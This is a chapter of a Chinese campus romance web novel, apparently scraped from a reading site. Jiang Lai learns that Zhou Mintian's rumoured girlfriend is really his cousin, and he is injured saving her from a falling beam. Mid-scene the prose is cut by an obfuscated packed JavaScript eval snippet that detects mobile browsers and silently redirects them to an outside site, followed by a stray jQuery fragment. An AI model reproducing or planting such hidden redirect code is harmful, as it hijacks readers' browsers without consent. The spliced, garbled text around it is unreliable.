姜莱抱着几瓶矿泉水走出小卖铺时,看到有很多女生忽然急急忙忙地跑到小卖铺,争先恐后地买着各式各样的水。
篮球赛结束了?
姜莱没有多留意,快步跑到白露身边。果不其然,比赛已经结束了,毫无悬念的,周岷天组得了第一,而另一组的季秋白站在白露身边,虽然输了,但他却并没有不开心,反而还跟白露有说有笑。
姜莱进场时看到周岷天被杜妍她们包围站着,周岷天却转过身,似乎注意到一道莫名其妙的目光,与站得很远的她对上了视。姜莱连忙收回视线,抱着矿泉水跑到白露身边,将她要的两瓶矿泉水交给她:“给你。”
白露注意到姜莱的怀里还抱着一瓶矿泉水:“这一瓶,你要送给谁啊?”
“我……”姜莱冲着她笑笑,不由自主地紧了紧怀中的矿泉水,“自己喝。”
“行吧。”白露没当回事,和季秋白开始贫嘴打闹。姜莱坐在他们身边,沉默地盯着地面砖缝,一直在盯着手中的矿泉水发呆。
她在来之前喝过水了,并不渴,这瓶水到底想送给谁,她心知肚明。
可是她不能找他,不能送给他。买下这瓶水,或许只是买一份安慰吧。
白露站起身,告诉她自己要和季秋白去买点零食回来和她分享,姜莱点点头,也识趣地没有跟上去,坐在原地继续发呆。
有人慢慢走到她的身边,挨着她坐了下来。熟悉的木檀香味在周遭空气里弥漫开来,姜莱后背慢慢挺直,全身都僵硬了几分。
“你的水怎么卖?我想买一瓶。”身边的人道。
姜莱微微侧身,看向周岷天,又不敢与他对视,只能看向别处:“不用你买,我可以送……”
说到此,她猛然想起现在的周岷天是有女朋友的,如果自己把水送给他,那岂不是会伤了杜妍的心。
原本打算递出去的水又连忙收了回来,姜莱闭上眼睛,深吸一口气:“原价卖,两块钱。”
周岷天看着姜莱这幅模样,有些想笑,还是从校服褂中掏出两块钱交给姜莱:“你不中间商赚差价啊?”
姜莱沉默地接过钱,又把矿泉水放到他的手中,站起身背对他:“如果没事的话,我们还是保持些距离吧。”
“为什么?”周岷天看着少女瘦小的背影,不明所以。
姜莱藏在袖中的手慢慢攥紧,不由自主地咬紧牙关。
“因为你已经有喜欢的人了,我和你走得太近,对她太不公平了。”姜莱的声音有些颤抖,她甚至都不知道自己是哪来的勇气敢面对周岷天说出这句话。
周岷天在她的世界里是不容割舍的存在,可是如果这份情感是建立在伤害他人的前提下,那她宁可伤害自己,然后让其他人全身而退。
这从来都是姜莱的生存方法。
周岷天听到她的话,神色一愣,心里瞬间了然。
姜莱是个敏感的女孩,想必她是听到了他与杜妍之间的流言蜚语,误解罢了。
可是事到如今,他也不知道自己对姜莱究竟是怀揣着一种怎样的感情,到底该不该告诉她,他与杜妍的关系。
他只是不想看到姜莱难过的神色,不想看到姜莱落寞的背影。
不想……
“姜莱。”
姜莱脚步一顿。
“其实……”周岷天缓缓闭上眼,想了想措辞,用仅有他们两个人能听到的声音道,“我和杜妍,不是你想的关系。”
“那是什么关系?”姜莱不敢转过身,低下头,似乎能屏蔽那些她不愿听到的答案。
周岷天叹了口气,站起来拍拍身后的灰尘,走到姜莱面前,拉了拉她的衣袖:“跟我来。”
姜莱有些不明所以,但还是跟在他的身后,周岷天左顾右盼一番,找了半天才找到一处偏僻的地方。
这里空无一人,除了堆放的一些健身器材外,再无他物。屋檐上满是灰尘,甚至有些地方已经有了发霉的迹象。周岷天率先进来,被灰尘呛得直咳嗽,连忙退出来把门关上,示意姜莱不要进去,站在门外说就行。
姜莱停下脚步,有些担忧地望向他,但还是没敢上前一步。
“你……”
姜莱不知道自己应该怎么先开口,只能蹦出一个字,然后失去下文。
周岷天却摆出一副自如的姿态,冲着姜莱笑了笑:“杜妍她是我表妹。”
“表妹?”姜莱一时间愣住了,“那你们为什么要在学校里以情侣示人……”
“这也是我父母的意思。”周岷天又叹了口气,“他们一边希望我成为天才,每天游手好闲就能取得好成绩,但又一边担忧我早恋耽误学习,多矛盾,多好笑。”
“所以把我表妹搬出来,恰巧能为双方抵挡追求者,一石二鸟,正合他们意。”
姜莱听完,沉默不语。
她望向眼前的少年,他面对自己时,似乎总在叹气,将平日里不敢流露的心事尽数说给自己听。姜莱不知道他为什么会向她解释这些,这些事,周岷天可以选择沉默,但他还是告诉了她,这算……信任吗?
笃定她不会告诉别人?笃定她会埋在心里吗?
还是在他的眼里,只有她姜莱,是独一无二的吗?
姜莱在心里胡思乱想时,周岷天注意到她的走神,抬起手在她眼前晃了晃:“姜莱?你还在线吗?”
“在!”姜莱如同条件反射般迅速抬起头,对上周岷天充满笑意的双眼,又连忙低下头,脸颊微红,“也可以不在。”
她的心忽然变得格外平静,甚至带着一丝丝窃喜。这样的话,她喜欢周岷天这件事在她心里,就不是负担,不是罪恶。
“那你,就没有想问我的吗?”
姜莱摇摇头。
周岷天有些错愕,随即又笑出声:“这么相信我啊。”
“相信。”姜莱毫不犹豫地点头,“即使是谎话,但只要是你说的,我都信。”
说完这句话,姜莱顿时意识到自己在说什么,连忙捂上嘴,脸颊泛起一丝热意,忍不住露出一抹笑容。
身边吹过一阵热风,仿佛在这一刻,风里也带着淡淡的甜意。
周岷天的眼里闪过一丝惊喜,他的喉结轻轻滚动,本来刚到嘴边的话通通被这炽热的坦诚堵住,他只觉得心里一暖,露出笑容。
阳光撒在地面上,将二人的影子拉得很长,相互交织。柔风吹过,扬起少女的发梢,仿佛在那一刻,少女周身都发着淡淡的光。
他正微笑着张张口,本来想说什么,目光忽然瞥到挂在屋顶的木桩,恰巧延伸到姜莱的头顶,被风雨侵蚀得摇摇欲坠。
周岷天的右眼皮毫无征兆地狠狠一跳,一股莫名的寒意瞬间窜上脊背。
下一秒,木桩被一阵风吹动,向下砸来!
“姜莱!危险!”
一切发生得太突然,突然到姜莱上一秒还看着周岷天正笑盈盈地与她对视,下一秒他惊慌失措地朝她扑来,她压根没反应过来!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342424|199410||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姜莱只觉得自己被周岷天推了出去,结结实实地摔到冰凉的地面。姜莱有些吃痛,揉着后背半坐起身,看到周岷天咬牙切齿地躺在地上,一个粗大的木桩不偏不倚地砸到他的右腿,痛得他脸色苍白。
“周岷天!”姜莱瞬间慌乱,跑到周岷天身边,使劲把木桩从他的腿上推下去。她看着周岷天吃痛的神色,心如刀割,“你还能站起来吗?我扶你去校医室先简单包扎一下!”
周岷天调整了几下呼吸,咬着牙借着姜莱的力站起来,额头上渗出一些汗珠:“季秋白他们呢?刚才不是还在你身边吗?”
“他们去小卖铺了……我不知道他们现在有没有回来。”
周岷天闭上眼睛:“这件事不要声张,我在这里等你,你去找季秋白,让他扶我去校医室。”
姜莱眼眶含泪,点点头,转身跑向操场。
周岷天望向姜莱渐行渐远的背影,脑海里回想起刚才她惊慌失措的表情,心间忽然流过一丝暖意。
好像有很久……都没人为他真正担忧过。
而姜莱,是第一人。
季秋白跑到他身边时,周岷天的小腿已经有了剧烈的撕痛感,疼得他倒吸一口凉气。姜莱一直跟在他身边,却垂着头,对周岷天腿伤一事十分自责。
白露也紧随其后,看到此情此景她先是一愣,似乎没想到姜莱和周岷天会出现在同一个地方。但看姜莱情绪低落,站在原地手足无措,她还是找借口把姜莱支开,留下季秋白扶着周岷天去校医室。
校医室离他们现在的位置相隔一个操场,季秋白本来想直接横穿操场,但周岷天却死活不愿意,非要从操场下面的篮球场走,虽然隐蔽,其他人注意不到,但路程也足足远了一倍。
季秋白看着此刻周岷天动弹不得的右腿,每走几步他的额头就会渗出汗珠,整个人脸色苍白,就连手都异常冰凉。
“兄弟,何苦呢?”季秋白忍不住道,“你的腿都伤成这样了,为什么还非要绕远路走?你是怕谁会看到?”
周岷天不说话,紧抿嘴唇,勾勒出一条倔强的线。
季秋白看不下去:“岷天,你受伤后就应该让姜莱及时扶着你去校医室,现在拖了这么久,你的伤口万一感染了怎么办,你到底在顾虑什么?”
……
沉默许久,周岷天才缓缓开口,声音因疼痛变得沙哑:“姜莱是女生,我不想让她因为我被人嚼舌根,被人背后议论,平白玷污了她的名声。”
“……明白了。”季秋白无奈一笑,叹了口气,“但我作为兄弟,想再提醒一句,你有了杜妍,还是离姜莱远一些吧,害人害己,对杜妍也不公平。”
周岷天一愣。
他抿唇,只觉得心口的刺痛愈加浓烈,就连唇齿间也能感受到丝丝铁锈味。
是啊,他之前怎么没考虑过其他人。
他只在乎自己,只想接近姜莱,可却没有考虑过杜妍的名声,也疏忽了其他人对姜莱的看法。
为什么,为什么,他不能遵循自己的心,奋起反抗。
他真的很想拿出喇叭,高声向全世界呼喊他不喜欢杜妍,也向其他人解释,他们之间什么都没有。
可是他真的可以吗?
一想到父母的压迫威胁,一想到自己的懦弱,他总是望而却步。
周岷天闭上眼,深吸一口气,忽然顿下前进的脚步,目光认真地看向季秋白:
“秋白,我要告诉你一件事。”